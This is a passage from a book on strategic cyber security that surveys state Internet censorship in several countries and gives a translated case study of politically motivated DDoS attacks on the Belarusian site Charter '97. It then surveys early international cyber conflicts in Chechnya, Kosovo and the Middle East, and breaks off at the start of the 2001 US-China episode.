March, 2011. 226 Some Western companies have been accused of too much cooperation with China on cyber control issues: Google, Yahoo, and Microsoft have all collaborated in government prosecutions. 66 BIRTH OF A CONCEPT: STRATEGIC CYBER SECURITY Comprehensive laws authorize government control of the media, while individual privacy statutes are unclear, in short supply, and perhaps even inapplicable in terms of information and communications technology (ICT).227 In 2007, Chinese President Hu Jintao called for a “purification” of the Internet, sug- gesting that Beijing intended to tighten its control over computer networks even further. According to Hu, new technologies such as blogging and webcasting had allowed Chinese citizens to circumvent state controls, which had negatively affected the “development of socialist culture,” the “security of information,” and the “stabil- ity of the state.” Today, China is on the cutting edge of Internet technology research. In particular, it has invested heavily in Internet Protocol version 6 (IPv6), which could be used to support a long-term strategy of user control. PRC Internet Society chairwoman Hu Qiheng has stated that China’s goal is to achieve a state of “no anonymity” in cyberspace. China’s fear of Internet freedom is shared by Cuba, whose highly educated popula- tion lacks regular access to the web. Special authorization is required to buy com- puter hardware, and Internet connection codes must be obtained from the govern- ment. This has led to a healthy cyber black market; for example, students have been expelled from school for trading in connection codes. Some Cubans have connected to the Internet from the homes of expatriates, who have in turn been threatened by the police with expulsion from the country. Cuban Decree-Law 209, written in 1996, states that “access from the Republic of Cuba to the Global Computer Network” may not violate “moral principles” or “jeop- ardize national security.” Illegal network connections can earn a prison sentence of five years, posting a counter-revolutionary article, 20 years. At least two dozen journalists are now serving up to 27 years in prison. As governments grow more familiar with censorship technology, they are capable of more complex decision-making. For example, at a 2006 Non-Aligned Movement summit in Havana, conference attendees had no problem connecting to the web. However, in the same year, when a human rights activist in the small village of Vi- ñales tried to open an email from Reporters Without Borders containing the names 227 However, in Asia, it is generally accepted that there is less privacy in one’s daily life, and the general populace is more comfortable with government oversight than in the West. 67 Cyber Security: Real-World Impact of Cuban dissidents, a pop-up window announced: “This programme will close down in a few seconds for state security reasons.”228 Recent statistics indicate that around 15% of Cuba’s population of 11 million is now online. However, there are only about 3,000 Internet-connected computers on the island, which is an extremely low number for 1.5 million users.229 Obviously, such a narrow funnel would make it easier for the government to monitor web communica- tions. Burma presents another extreme example of Internet paranoia. Out of a population of 50 million, only 78,000, or 0.6% of citizens, now use the web. The number of Internet-connected host computers in the country is just 42. A few cyber cafés exist, but they require name, identification number, address, and frequent screenshots of user activity to log in. Thus, online privacy is non-existent. In Burma, average citizens access not the Internet per se, but the “Myanmar Inter- net,” which hosts only a small number of officially-sanctioned business websites. Furthermore, only state-sponsored email accounts are allowed; commercial web- mail is prohibited. One of the most common ways to deny Internet access is to make it prohibitively expensive. The Burmese average annual income is $225. A broadband connection is $1,300. Dial-up, the most common form of access, is $6 for 10 hours; outside the cities of Rangoon and Mandalay, long distance fees are also required. Entrance to a cyber café is $1.50. According to the 1996 Computer Science Development Law, all network-ready com- puters must be registered with the government. Failure to do so or sharing an In- ternet connection with another person carries penalties of up to 15 years in prison. Burma’s State Peace and Development Council (SPDC) prohibits “writings related to politics,” “incorrect ideas,” “criticism of a non-constructive type,” and anything “detrimental to the ideology of the state” or “detrimental to the current policies and secret security affairs of the government.” Some international groups, such as Free Burma Coalition and BurmaNet, have cam- paigned for greater Internet freedom since 1996. But there is little resistance to Internet governance within Burma itself, due to its high level of political repression. 228 Voeux, 2006: The reporter stated that the names of the dissidents had asterisks and other punctuation marks between the letters of their names in an effort to make them illegible to government censorship software, but that “this precaution turned out to be insufficient.” However, it could be that the system was triggered by the source IP or email address of the Reporter Without Borders’ author of the email. 229 CIA World Factbook, 9 March, 2011. 68 BIRTH OF A CONCEPT: STRATEGIC CYBER SECURITY Although Burma now has a population of 54 million, only around 110,000 of its citizens can connect to the web – around 0.2% - through a funnel of roughly 170 Internet-connected computers.230 In Africa, Eritrea has played an infamous role as the last country to go online and the first to go offline. In November 2000, Eritrea opened its first national gateway to the Internet, with a capacity of 512 Kbps.231 Within five years, about 70,000 people had accessed the web, mostly from a “walk-in” ISP. There was no initial censorship of the web, but in 2001, human rights in Eritrea began to deteriorate. In 2004, all cyber cafés were physically transferred to govern- ment “educational and research” centers. The official reason was to control pornog- raphy, but international diplomats are skeptical of this explanation. Historically, oral traditions in Africa have played a powerful role in fostering na- tional solidarity. Radio and clandestine radio stations in the Horn of Africa are skill- fully employed by both government and anti-government forces. One transmitter in the Sudan, for example, has hosted three separate anti-Eritrean radio stations simultaneously. Given the low level of Internet usage in Africa, political battles are slow to shift from the radio spectrum to cyberspace. However, via the web even the most paro- chial factions are able to appeal to the entire world, thereby creating international political and economic support for their cause. Sites such as Pan-African News and Eritrea Online offer a growing amount of information and analysis, and their influ- ence will only grow over time. Today, Eritrea has a population of around 6 million, of which only about 200,000 connect to the web.232 Two thousand miles to the south, the government of Zimbabwe is engaged in a deadly game of information warfare against its own citizens. In October 2006, President Robert Mugabe reportedly met with his Central Intel- ligence Organisation (CIO) for the purpose of infiltrating Zim Internet service pro- viders (ISP). Operatives were to “flush out” journalists using the Internet to send “negative” information to international media. The police worked as cyber café at- tendants and posed as web surfers. A police spokesman confirmed that the govern- ment would do “all it can” to prevent citizens from writing “falsehoods against the government.” Jail terms were up to 20 years in length. 230 CIA World Factbook, 9 March, 2011. 231 Kilobits per second. 232 CIA World Factbook, 9 March, 2011. 69 Cyber Security: Real-World Impact The Zim Interception of Communications Bill (ICB) forced ISPs to purchase special hardware and monitoring software from the government. No court challenges to government intercepts are allowed. Some ISPs threatened to shut down in protest. In terms of national telecommunications infrastructure, Zimbabwe has followed a similar path as other authoritarian governments, giving monopoly control to a state- controlled firm.233 The reason is simple – if one entity controls all gateways in and out of the country, surveillance is much easier, and the government can charge whatever price it desires. In many countries, a major challenge for the government is the speed with which millions of its citizens have connected to the web. In 2001, there were just 1 million Internet users in Iran; today that number has increased to over 8 million.234 Former president Ali Mohammad Khatami stated that the Iranian government has tried to have the “minimum necessary” control over the Internet. Moreover, while Muslim values are emphasized, only sites that are “truly insulting” towards Islam are censored, and political opposition sites are accessible. However, the OpenNet Initiative estimates that about one-third of all Internet sites, most often relating to politics, pornography, translation, and anonymizing software, are blocked by the Iranian government. Websites are more likely to be blocked if they are in Farsi than in English. In fact, in Iran it is technically illegal to access “non- Islamic” websites, and the maximum penalties for doing so include severe punish- ments. In addition, Iranian ISPs are required to install web- and email-filtering tools. Human rights groups, such as Reporters Without Borders, argue that since 2006 all Iranian websites have had to register with the authorities to demonstrate that they do not contain prohibited content. And many popular international sites, such as photo-sharing FlickR and video-sharing YouTube, are inaccessible for reasons of “immorality.”235 Iranian media publications are not legally allowed to contradict government goals. Media receive a list of banned subjects each week, and there is a dedicated press court. On March 14, 2011, UN secretary-general Ban Ki-moon stated that he was “deeply troubled by reports of increased executions, amputations, arbitrary arrests, unfair trials, and possible torture and ill-treatment of human rights activists, lawyers, jour- nalists, and opposition activists” in Iran. No UN human rights investigators have been allowed to visit the country since 2005. Since June 12, 2009, about 20 foreign 233 The state-owned provider in Zimbabwe is Tel*One. 234 Iran has a population of almost 80 million, 18th on the world list, but it has just 120,000 Internet- connected computers, good for 75th in the world (CIA World Factbook, 9 March, 2011). 235 Handbook..., 2008. 70 BIRTH OF A CONCEPT: STRATEGIC CYBER SECURITY journalists and correspondents have been expelled from Iran. A dozen were stripped of their press cards following a demonstration in February 2011 that was organized to support the revolution in Egypt. Abdolreza Tajik, the 2010 RSF-FNAC press free- dom prize recipient, was given a six-year jail term.236 During the early-2011 unrest across the Middle East, Iranian authorities increased surveillance in cyberspace. In order to obstruct anti-government protests in Feb- ruary 2011, independent and pro-opposition websites, including www.fararu.com and sahamnews.org, were blocked. Prior to anti-regime demonstrations, broadband speed has slowed down enormously. Mobile phone and text-message traffic was disrupted. Satellite TV broadcasts, especially relating to news about the revolution in Egypt, were jammed. Finally, in an effort to reduce the number of calls for protest, the name of the Persian month “bahman” (roughly corresponding to February 2011) was censored.237 Iranian citizens are Internet savvy, and this should hinder government attempts to control Iranian cyberspace in the future. Since 2000, blogging has become both a mainstream and an alternative form of communication, and even President Mahmud Ahmadinejad has his own blog. In August 2004, when a number of reformist news sites were blocked, their content was quickly mirrored on other domains. An anony- mous system administrator posted an alleged official blacklist of banned sites. And reformist Iranian legislators have openly complained about censorship, even post- ing their criticisms online. In the Internet age, the power of communications within civil society to overwhelm government stability has risen to new heights. In a classic coup d’état, the national television, radio station and printing press were among the first paramilitary objec- tives. But the Internet has changed the rules of the game. Now anyone who owns a personal computer and a connection to the Internet possesses both a printing press and a radio transmitter in their own home. Furthermore, the entire world is potentially their audience. Authoritarian governments, within their borders, will attempt to pare down the In- ternet to a manageable size, both in terms of physical infrastructure (e.g., no un- monitored Internet cafes) and information content (censorship). Common laws gov- 236 “Human rights investigators...” 2011. 237 “Regime steps up censorship...” 2011. 71 Cyber Security: Real-World Impact erning information and communications technology (ICT) are likely to include the following: • all Internet accounts must be officially registered with the state, • all Internet activity must be directly attributable to individual accounts, • users may not share or sell Internet connections, and • users may not encrypt their communications. Clearly the Internet is a powerful tool in the hands of a despot. Through a monop- oly of state-owned and operated telecommunications, the government can conduct country-wide and international ICT surveillance,238 including information manipula- tion, even with some plausible deniability. Further, the government has an effective means to deliver political messages directly to its citizens, while at the same time denying that opportunity to rival political factions. Thus, network security designed for law enforcement purposes can be used not only to catch criminals but also to target political adversaries. A challenge for any government – including those run by dictators – is to find a balance between too much and too little freedom of information. Although govern- ments must be given appropriate law enforcement powers, there may be tempta- tions to abuse them, and risks will follow. Governments like those in North Korea are doomed to fail eventually. The Internet – and human beings – thrive on the open exchange of information. If civil society is not given sufficient freedom to flourish, the regime will die. In the Internet era, choking online freedom likely also entails choking long-term economic prospects, which will in turn threaten political stability. In the next chapter, the author has translated a first-person account, written in Rus- sian by a Belarusian computer expert, which examines the ongoing battle in cyber- space between government authorities and civil society in Belarus. 238 For the international communications that do not begin or end on its national territory, but still need to traverse it. 72 BIRTH OF A CONCEPT: STRATEGIC CYBER SECURITY Case Study: Belarus239 Foreword by Kenneth Geers240 Life in Belarus has not changed much since the Cold War. In 2001, U.S. Secretary of State Colin Powell called its autocratic President, Alexander Lukashenko, Europe’s “lone outlaw.”241 The Belarusian Presidential Administration directly controls nearly all media within the country.242 There are fewer than 10 professional quality printing presses outside of state control.243 Television and radio stations try to avoid news programming alto- gether – for fear of losing their license – and even Russian TV is heavily censored.244 In 2005, Freedom House ranked only Turkmenistan lower than Belarus in terms of democracy among the countries of the former Soviet Union.245 The state-owned Beltelecom monopoly is the sole provider of telephone and Internet connectivity, although about 30 national ISPs connect through Beltelecom. The only reported independent Internet link is via the government’s academic and research network, BasNet. Strict government controls are enforced on all telecommunica- tions technologies; for example, transceiver satellite antennas and IP telephony are prohibited. Beltelecom has been accused of “persecution by permit” and of requiring a demonstration of political loyalty to access its services. At least one Belarusian journalist is reported to have “disappeared.”246 As in Zimbabwe, the Beltelecom monopoly status is intended not only for govern- ment oversight, but also to maximize financial gain. It is the primary source of rev- enue for the Ministry of Communications (MIC).247 The State Center for Information Security (GCBI), in charge of domestic signals intel- ligence (SIGINT), controls the “.by” Top Level Domain (TLD) and thus manages both the national Domain Name Service (DNS) and website access in general. Formerly 239 Following the Foreword, this chapter is a translation by the author of a Russian language paper writ- ten by Fedor Pavluchenko of www.charter97.org, entitled “Belarus in the Context of European Cyber Security,” which was presented at the 2009 Cooperative Cyber Defence Centre of Excellence Confer- ence on Cyber Warfare. 240 This chapter Foreword is taken from: Geers, 2007a. 241 Kennicott, 2005. 242 Usher, 2006. 243 Kennicott, 2005. 244 “The Internet and Elections...,” 2006. 245 Kennicott, 2005. 246 “The Internet and Elections...,” 2006. 247 Ibid. 73 Cyber Security: Real-World Impact part of the Belarusian KGB, GCBI reports directly to President Lukashenko.248 De- partment “K” (for Кибер or Cyber), within the Ministry of Interior, has the lead in pursuing cyber crime. A common media offense in Belarus is defaming the “honor and dignity” of state officials249. Belarus already has a significant history of political battles in cyberspace. In 2001, 2003, 2004, and 2005, Internet access problems were experienced by websites that were critical of the President, state referenda, and/or national elections. While the government announced that website availability problems were the result of access “overload,” the opposition countered that the sites were inaccessible altogether, and that the regime was deliberately blocking access. One of the affected sites had been characterized by the Ministry of Foreign Affairs as “political pornography”.250 The biggest cyber showdown took place during the March 2006 Belarusian presi- dential elections, during which the opposition tried to use its youth and computer savvy to organize in cyberspace. The sitting government attempted the same, but because its supporters consisted of many rural and elderly voters who were still unconnected or new to the Internet, its efforts were uphill at best.251 Election Day 2006 provided the world an infamous example of modern-day cyber politics. As Belarusians went to the polls on March 19, thirty-seven opposition me- dia websites were inaccessible from Beltelecom.252 “Odd” DNS (Internet address) er- rors were reported, and the website of the main opposition candidate, Aleksandr Milinkevich, was “dead.” President Lukashenko won the election by a wide margin. A week later, as anti- government protestors clashed with riot police, the Internet was inaccessible from Minsk telephone numbers. A month later, when an opposition “flash-mob” was or- ganized over the Internet, arriving participants were promptly arrested by waiting policemen.253 Similar to Iran, a primary lesson from Belarus is that Internet filtering and govern- ment surveillance do not have to be comprehensive to be effective. Selective target- ing of known adversaries and increased computer network operations at critical points in time, such as during elections, can be very useful to a sitting government. 248 Ibid. 249 Kennicott, 2005.; and “Press Reference: Belarus.” 250 “The Internet and Elections...,” 2006. 251 Ibid. 252 The OpenNet Initiative confirmed that 37 of 197 tested websites were inaccessible from the Beltele- com network, but were still accessible from other computer networks. 253 Ibid. 74 BIRTH OF A CONCEPT: STRATEGIC CYBER SECURITY “Belarus in the Context of European Cyber Security” Written in Russian by Fedor Pavluchenko (www.charter97.org) Translated to English by Kenneth Geers During the first decade of the 21st century, Internet censorship in Belarus has become a government tool used to combat political dissent. This ongoing cyber conflict between state and non-state actors is similar to the struggle between the Russian government and its domestic adversaries in cyberspace. State-sponsored, politically-motivated Denial of Service (DDoS) attacks against civil society are unacceptable. In Belarus, this violation of freedom of expression has become a national crisis. But the problem is not confined within these borders; it threatens the integrity of Internet resources in other European countries as well. Modern technology offers the world significantly improved communications, but it also creates novel threats. Governments can abuse their power over state-controlled infrastructures. This not only violates human rights, but it engenders long-term political instability. Democratic states in Europe should work to strengthen inde- pendent Internet institutions and extend the rule of law to the whole of European cyberspace. Alexander Lukashenko has governed Belarus as an autocrat since a disputed politi- cal referendum in 1996. His government has suppressed freedom of speech, and for over a decade there has been virtually no independent media in Belarus. The popular newspapers of the 1990s have ceased to exist or have seen their circulation greatly reduced, and independent radio stations have been closed. Sadly, there has never been an independent Belarusian television channel. The Internet, despite its high cost in Belarus, has unsurprisingly become the only source of objective information for the majority of the citizens. The number of web users has now grown to nearly one-quarter of the country’s population. The Charter ‘97 website has been a leading Belarusian venue for public policy dis- cussion for over a decade. However, because Charter ‘97 is known for siding with Be- larusian political dissidents, the site has been the target of myriad state-sponsored Internet information-blocking strategies. September 9, 2001: Belarusian Internet users discovered the power of a govern- ment to wage cyber warfare against its own citizens on the day of its own national presidential elections. At 1200, Beltelecom blocked access to many popular political websites. Although the prohibited sites remained accessible outside Belarus, no one in Belarus could view them until the following afternoon at 1600, when the Internet “filtering” stopped. 75 Cyber Security: Real-World Impact From a technical perspective, this type of Internet censorship is easy for a telecom- munications monopoly to perform. The data packets can be filtered at a government Internet Service Provider’s (ISP) network router, based solely on the Internet Proto- col (IP) address of the websites in question. However, it can be equally simple for an Internet user or the censored website to un- derstand exactly what is happening. For example, the “traceroute” computer network utility, which measures the paths and transit times of packets across networks, can be used to spot the exact point of network interruption. Some of the prohibited sites were hosted on servers in Belarus, within the “.by” Top Level Domain (TLD). These sites were disabled by altering their Domain Name Service (DNS) records to make them inaccessible. This is possible because “.by” is administered by the Operations and Analysis Center, a special state agency that falls under the direct control of the Belarusian President. On September 9, 2001, the fol- lowing domains were unreachable on the Belarusian web: home.by, minsk.by, org.by, unibel.by, nsys.by, and bdg.by. Numerous websites, including www.charter97.org, responded by creating “mirrors” or copies of their content at other web addresses in an effort to stay online. All such mirrors were promptly blocked by the government. Furthermore, websites that specialize in obscuring the source and destination of web searches, such as “ano- nymizers” and “proxy” servers, were also blocked. In all, over 100 websites were inaccessible. It is important to note that within Belarusian law there were no legal grounds to perform censorship of political content on the web. What happened in 2001 directly violated the constitution. Beltelekom and the Belarus Ministry of Communications both announced that the outage stemmed from too many Belarusians trying to ac- cess the affected sites at the same time, and that this led to a self-inflicted Denial of Service. But this story is easy to disprove via simple technical analysis. For its part, Belarusian government leadership had no comment, even though Inter- net censorship and computer sabotage are an offense under Belarusian law. Further- more, there was never any official investigation into the facts of this case. October 24, 2001: The Charter ’97 website was completely deleted from its web server by an unidentified computer hacker. A few days after the attack, under pres- sure from the Belarusian secret services, our hosting company broke the terms of our contract. www.charter97.org was no longer allowed space on its server. January 20, 2004: For the first time, Charter ’97 was the target of a Distributed Denial of Service (DDoS) attack. The DDoS followed our publication of a journalistic investigation into a possible connection between high-ranking officials from the Be- 76 BIRTH OF A CONCEPT: STRATEGIC CYBER SECURITY larusian Interior Ministry – which is responsible for investigating computer crimes – and the trading of online child pornography. The DDoS attack lasted more than three weeks and was supported by a botnet that comprised more than 55,000 active IP addresses. This network of infected comput- ers spanned the globe and included machines in Latin America, the United States, South-East Asia, China, and India. The source IPs and intensity of the attack changed several times, which indicated an active command and control (C2) over the activity. Of course, it is impossible to prove that the DDoS attack was politically motivated, but external simultaneous factors corroborate this theory. On state television, a campaign of harassment targeted the employees of Charter ’97. Among other things, the employees themselves were accused of trading in online pornography. In addi- tion, Natalya Kolyada, a human rights activist working with the site, was convicted on misdemeanor charges. July 14-21, 2004: On July 14, for 2 hours, a cyber attack paralyzed the server that hosted the Charter ’97 website. It is believed that this event was a “test” to facilitate what happened one week later. On July 21, there were mass protests in Minsk to demonstrate against the 10th anni- versary of the Lukashenko government. Charter ’97 had planned to host a webcast in support of the protests. For the second time, the website came under a DDoS- attack, which began at 1400 – 4 hours before the demonstrations began – and lasted until the political protests were over. This DDoS bore strong similarities to the first attack in January of 2004. October 10, 2004: The next large-scale attempt to block Charter ’97 and other in- dependent websites occurred during parliamentary elections and a simultaneous referendum on whether to lift presidential term limits in Belarus. On the day before the election, news correspondents were not only unable to access the website, but they could not telephone Charter ’97 by mobile or landline phone. In addition, other political opposition websites were again blocked by a filter on Beltele- kom’s primary router. However, many Belarusian web users were better prepared for this attack and immediately switched to Internet proxies and anonymizers. Unfortunately, the government had a new, effective cyber weapon in its arsenal: the artificial stricture – or “shaping” – of Internet bandwidth. The use of this tactic meant that, in principle, forbidden sites were still available, but it took anywhere from 5-10 minutes for their pages to load in a browser. Thus, web users were simply unable to gain full access to Charter ’97 and other targeted sites. Non-political Inter- net resources were accessible as normal. 77 Cyber Security: Real-World Impact Neither the Ministry of Communications nor Beltelekom made any announcement regarding this incident, and no official investigation was undertaken. March 19, 2006: The next time that Belarusian websites were blocked was during the 2006 presidential elections. Anticipating the government’s strategy, Charter ’97 well before the election took place offered its visitors numerous ways to circumvent censorship in an initiative called “Free Internet.” Due in part to those efforts, Beltele- kom’s IP-filtering failed. However, its network “shaping,” or the selective starvation of specific streams of bandwidth, was again successfully employed. On March 18, the day before the election, a censorship “test” was conducted from 1600-1630. On election day, the sites of opposition presidential candidates, politi- cal parties, leading independent news sources, and the international blogging site www.livejournal.com, which is very popular with Belarusians, were all successfully blocked. Beltelekom announced that the service interruptions were caused by too many users trying to connect to the affected sites, but no formal investigation was undertaken. April 25-26, 2008: On the eve of massive street protests in Minsk, which Charter ’97 had intended to broadcast via live webcast, the website suffered a DDoS-attack that paralyzed its server. This was another “test,” which lasted 30 minutes.254 On April 26 – the day of the planned demonstration – the real DDoS attack began, five hours before the start of the protest. The hosting company, www.theplanet.com, was overwhelmed. Its hardware was designed to carry up to 700 Mbit/s of network traffic, but the DDoS surpassed 1 Gbit/s.255 There was no alternative but to turn off the website and simply wait for the attack to end (on the following day). Other independent online media were targeted simultaneously, including the Be- larusian-language version of “Radio Liberty.” A server hosting the opposition site, “Belarusian Partisan,” for several days came under the control of unknown hackers, who used it as a platform to publish fabricated, scandalous news stories which Be- larusian Partisan editors were forced to refute on other websites. The high level of expertise required for this attack strongly suggested the involvement of Belarusian intelligence agencies. The technical defense capabilities of the Radio Liberty server – home to its Belaru- sian, Albanian, Azerbaijani, Tajik, and Russian services – were sufficient to withstand the attack for more than 3 days. The site remained accessible, but was nonetheless 254 For about 10 minutes, the site was difficult to access, but normal traffic was restored before the attack ended. The following IP addresses were used in the attack: 89.211.3.3, 122.169.49.85, 84.228.92.1, 80.230.222.107, 212.34.43.10, 81.225.38.110, 62.215.154.167, and 62.215.117.15. 255 Megabits per second/gigabits per second. 78 BIRTH OF A CONCEPT: STRATEGIC CYBER SECURITY difficult to reach, and this caused a minor diplomatic scandal. The U.S. mission to the Organization for Security and Cooperation in Europe (OSCE) issued a statement condemning the cyber attack. The Belarusian Ministry of Foreign Affairs denied any involvement. June 8, 2009: The most recent example of a politically-motivated DDoS attack on Charter ’97 occurred during a political row between the governments of Russia and Belarus, which resulted in the imposition of Russian economic sanctions against Belarus and a worsening of the political situation inside Belarus itself. The cyber attack lasted more than a week, and for a while it paralyzed the site com- pletely. The strength of the DDoS in this case was not particularly high; only around five thousand IP addresses took part in it. In cooperation with our ISP, the Charter ‘97 technical support staff was able to neutralize the attack. Countermeasures and their effectiveness: Charter ’97 is constantly looking for ways to counter government censorship, but there is no foolproof solution. The situ- ation in Belarus is best described as an effort to outmaneuver an opponent who has vastly more resources than they do. Over time, Charter ’97 has found some answers in technology and in cyber security expertise. They moved their site to a relatively powerful, hardened server,256 built an intrusion detection system, and constantly monitor vulnerabilities. They use en- cryption to access both the server and the site’s content management system. They have multi-tiered levels of access to both the server and the site, and they are able to quickly replace all passwords in the event administrators and/or journalists are ar- rested. They have a distributed system for creating server data backups. Moreover, they have endeavored to master simple, open-source technologies such as UNIX, PHP, and MySQL.257 All told, these efforts go a long way toward preventing the com- promise of the web server. Charter ’97 also launched the “Free Internet” project, which provides recommen- dations to visitors in case the site becomes unavailable. It explains how to use an Internet proxy, anonymizers, Virtual Private Networks (VPN), and software such as Tor.258 This information is rebroadcast via RSS259 and mirror websites, and visi- tors are encouraged to disseminate it through their own blogs, chat rooms, social networking, etc. These measures are sufficient to overcome simple IP blocking, but there is still no solid countermeasure to DDoS, especially with limited resources. 256 Firewall and caching technologies are sufficient to repulse DDoS-attacks of average strength. 257 This helps with site mobility (i.e. the rapid transfer of our site to another hosting platform). 258 The Onion Router or the Tor anonymity network. 259 Really Simple Syndication. 79 Cyber Security: Real-World Impact Charter ’97 believes that the government’s most effective methods of censorship are DoS attacks and various kinds of information manipulation. For the latter, intel- ligence operatives can insert themselves into ongoing discussions on the web in order to monitor or even “guide” conversations. If and when the political dialogue rises above a certain threshold, especially during politically sensitive points in time, the authorities can take action. Government power, cyber crime, and the future: The current Belarusian govern- ment suppresses political dissent on the Internet and flagrantly violates its own constitution. There is no legal basis for Internet censorship at all, much less for state- sponsored computer hacking and DoS attacks. Furthermore, such attacks could be used to block any kind of information. The result is the absence of the rule of law within the Belarusian Internet space, and a situation in which organized, state-spon- sored cyber crime could flourish, not only in Belarus but also beyond its borders. There is active cooperation between Belarusian and Russian intelligence agencies in cyberspace, as specified in the Agreement on Cooperation of the Commonwealth of Independent States (CIS) in Combating Cybercrime, signed in 2000. And there are strong similarities between attacks on Estonia, Georgia, and the websites of human rights organizations in Belarus and Russia. These Internet crimes share common characteristics and appear to have common roots. Civil society is threatened throughout Eastern Europe: in Belarus, Ukraine, Russia, Georgia, Armenia, and Azerbaijan, governments have likely used DoS attacks as a tool for suppressing political dissent. In response, a multinational, collaborative approach is required. A good start would be the creation of an international web hosting platform designed to support free- dom of speech throughout Europe. It should be built by a team of international experts, who could improve defenses and investigate attacks based on aggregate data. Privacy must of course be balanced with legitimate law enforcement powers, but the mere creation of an international platform would enhance cyber security and freedom of expression in Europe, especially during important events such as national elections. 80 BIRTH OF A CONCEPT: STRATEGIC CYBER SECURITY International Conflict in Cyberspace Chapter 4 has demonstrated that many governments already perceive a clear con- nection between cyber security and internal political security. But what about inter- national conflict? To what extent can nation-states threaten their peers, and even defeat their rivals, in cyberspace? In fact, all international political and military conflicts now have a cyber dimension, the size and impact of which are difficult to predict. Today, practically everything that happens in the “real world” is mirrored in cyberspace, and for national security planners this includes propaganda, espionage, and – to an unknown but increasing extent – warfare itself. The Internet’s ubiquitous and unpredictable characteristics can make the battles fought in cyberspace just as important, if not more so, than events taking place on the ground. A brief analysis of current events proves that international cyber con- flict is already commonplace. Here are five illustrative examples that suggest it is no longer a question of whether computer hackers will take world leaders by surprise, but when and under what circumstances. Chechnya 1990s: Propaganda In the Internet era, unedited news from a war front can arrive in real-time. As a result, Internet users worldwide play an important role in international conflicts simply by posting information, in either text or image format, to a website. Since the earliest days of the World Wide Web, Chechen guerilla fighters, armed not only with rifles but with digital cameras and HTML, have clearly demonstrated the power of Internet-enabled propaganda. Since the earliest days of the World Wide Web, pro-Chechen and pro-Russian forces have waged a virtual war on the Internet, simultaneous with their conflict on the ground. The Chechen separatist movement in particular is considered a pioneer in the use of the Web as a tool for delivering powerful public relations messages. The skillful placement of propaganda and other information, such as the number to a war funds bank account in Sacramento, California, helped to unite the Chechen diaspora.260 260 Thomas, 2002. 81 Cyber Security: Real-World Impact The most effective information, however, was not pro-Chechen, but anti-Russian. Digital images of bloody corpses served to turn public opinion against perceived Russian military excesses. In 1999, just as Kremlin officials were denying an inci- dent in which a Chechen bus was attacked and many passengers killed, images of the incident appeared on the Web.261 As technology progressed, Internet surfers watched streaming videos of favorable Chechen military activity, such as ambushes on Russian military convoys.262 The Russian government admitted the need to improve its tactics in cyberspace. In 1999, Vladimir Putin, then Russia’s Prime Minister, stated that “we surrendered this terrain some time ago ... but now we are entering the game again.” Moscow sought the help of the West in shutting down the important pro-Chechen kavkaz.org web- site, and “the introduction of centralized military censorship regarding the war in the North Caucasus” was announced.263 During the second Chechen war (1999-2000), Russian officials were accused of es- calating the cyber conflict by hacking into Chechen websites. The timing and so- phistication of at least some of the attacks suggested nation-state involvement. For example, kavkaz.org (hosted in the U.S.) was reportedly knocked offline simultane- ously with the storming by Russian special forces of a Moscow theater under siege by Chechen terrorists.264 Kosovo 1999: Hacking the Military In globalized, Internet-era conflicts, anyone with a computer and a connection to the Internet is a potential combatant. NATO’s first major military engagement followed the explosive growth of the Web during the 1990s. Just as Vietnam was the world’s first TV war, Kosovo was its first broad-scale Internet war. As NATO planes began to bomb Serbia, numerous pro-Serbian (or anti-Western) hacker groups, such as the “Black Hand,” began to attack NATO Internet infrastruc- ture. It is unknown whether any of the hackers worked directly for the Yugoslav military. Regardless, their stated goal was to disrupt NATO’s military operations.265 The Black Hand, which borrowed its name from the Pan-Slavic secret society that helped to start World War I, claimed it could enumerate NATO’s “most important” computers, and that through hacking it would attempt to “delete all the data” on 261 Goble, 1999. 262 Thomas, 2002. 263 Goble, 1999. 264 Bullough, 2002. 265 “Yugoslavia...” 1999. 82 BIRTH OF A CONCEPT: STRATEGIC CYBER SECURITY them. The group claimed success on at least one U.S. Navy computer, and stated that it was subsequently taken off-line.266 NATO, U.S., and UK computers were all attacked during the war, via Denial-of-Service and virus-infected email (twenty-five different strains of viruses were detected).267 In the U.S., the White House website was defaced, and a Secret Service investigation ensued. While the U.S. claimed to have suffered “no impact” on the overall war effort, the UK admitted to having lost at least some database information.268 At NATO Headquarters in Belgium, the attacks became a propaganda victory for the hackers. The NATO public affairs website for the war in Kosovo, where the or- ganization sought to portray its side of the conflict via briefings and news updates, was “virtually inoperable for several days.” NATO spokesman Jamie Shea blamed “line saturation” on “hackers in Belgrade.” A simultaneous flood of email successfully choked NATO’s email server. As the organization endeavored to upgrade nearly all of its computer servers, the network attacks, which initially started in Belgrade, began to emanate from all over the world.269 Middle East 2000: Targeting the Economy During the Cold War, the Middle East often served as a proving ground for military weapons and tactics. In the Internet era, it has done the same for cyber warfare. In October 2000, following the abduction of three Israeli soldiers in Lebanon, blue and white flags as well as a sound file playing the Israeli national anthem were planted on a hacked Hizballah website. Subsequent pro-Israeli attacks targeted the official websites of military and political organizations perceived hostile to Israel, including the Palestinian National Authority, Hamas, and Iran.270 Retaliation from Pro-Palestinian hackers was quick and much more diverse in scope. Israeli political, military, telecommunications, media, and universities were all hit. The attackers specifically targeted sites of pure economic value, including the Bank of Israel, e-commerce, and the Tel Aviv Stock Exchange. At the time, Israel was more wired to the Internet than all of its neighbors combined, so there was no shortage of targets. The “.il” country domain provided a well-defined list that pro-Palestinian hackers worked through methodically. 266 Ibid. 267 “Evidence...” 1999. 268 Geers, 2005. 269 Verton, 1999. 270 For example, the Zone-H website lists 67 such defacements from pro-Israeli hacker m0sad during this time period. 83 Cyber Security: Real-World Impact Wars often showcase new tools and tactics. During this conflict, the “Defend” DoS program was used to great effect by both sides, demonstrating in part that software can be copied more quickly than a tank or a rifle. Defend’s innovation was to con- tinually revise the date and time of its mock Web requests; this served to defeat the Web-caching security mechanisms at the time.271 The Middle East cyber war demonstrated that Internet-era political conflicts can quickly become internationalized. For example, the Pakistan Hackerz Club penetrat- ed the U.S.-based pro-Israel lobby AIPAC and published sensitive emails, credit card numbers, and contact information for some of its members.272 The telecommunica- tions firm AT&T – clearly an international critical infrastructure service provider to all sectors of the world economy – was targeted for providing technical support to the Israeli government during the crisis.273 Since 2000, the Middle East cyber war has generally followed the conflict on the ground. In 2006, as tensions rose on the border between Israel and Gaza, pro-Pal- estinian hackers shut down around 700 Israeli Internet domains, including those of Bank Hapoalim, Bank Otsar Ha-Hayal, BMW Israel, Subaru Israel, and McDonalds Israel.274 U.S. and China 2001: Patriotic Hacking On April 26, 2001, the Federal Bureau of Investigation’s (FBI) National Infrastruc- ture Protection Center (NIPC) released Advisory 01-009: “Citing recent events between the United States and the People’s Republic of China (PRC), malicious hackers have escalated web page defacements over the Internet. This communication is to advise network administrators of the potential for in- creased hacker activity 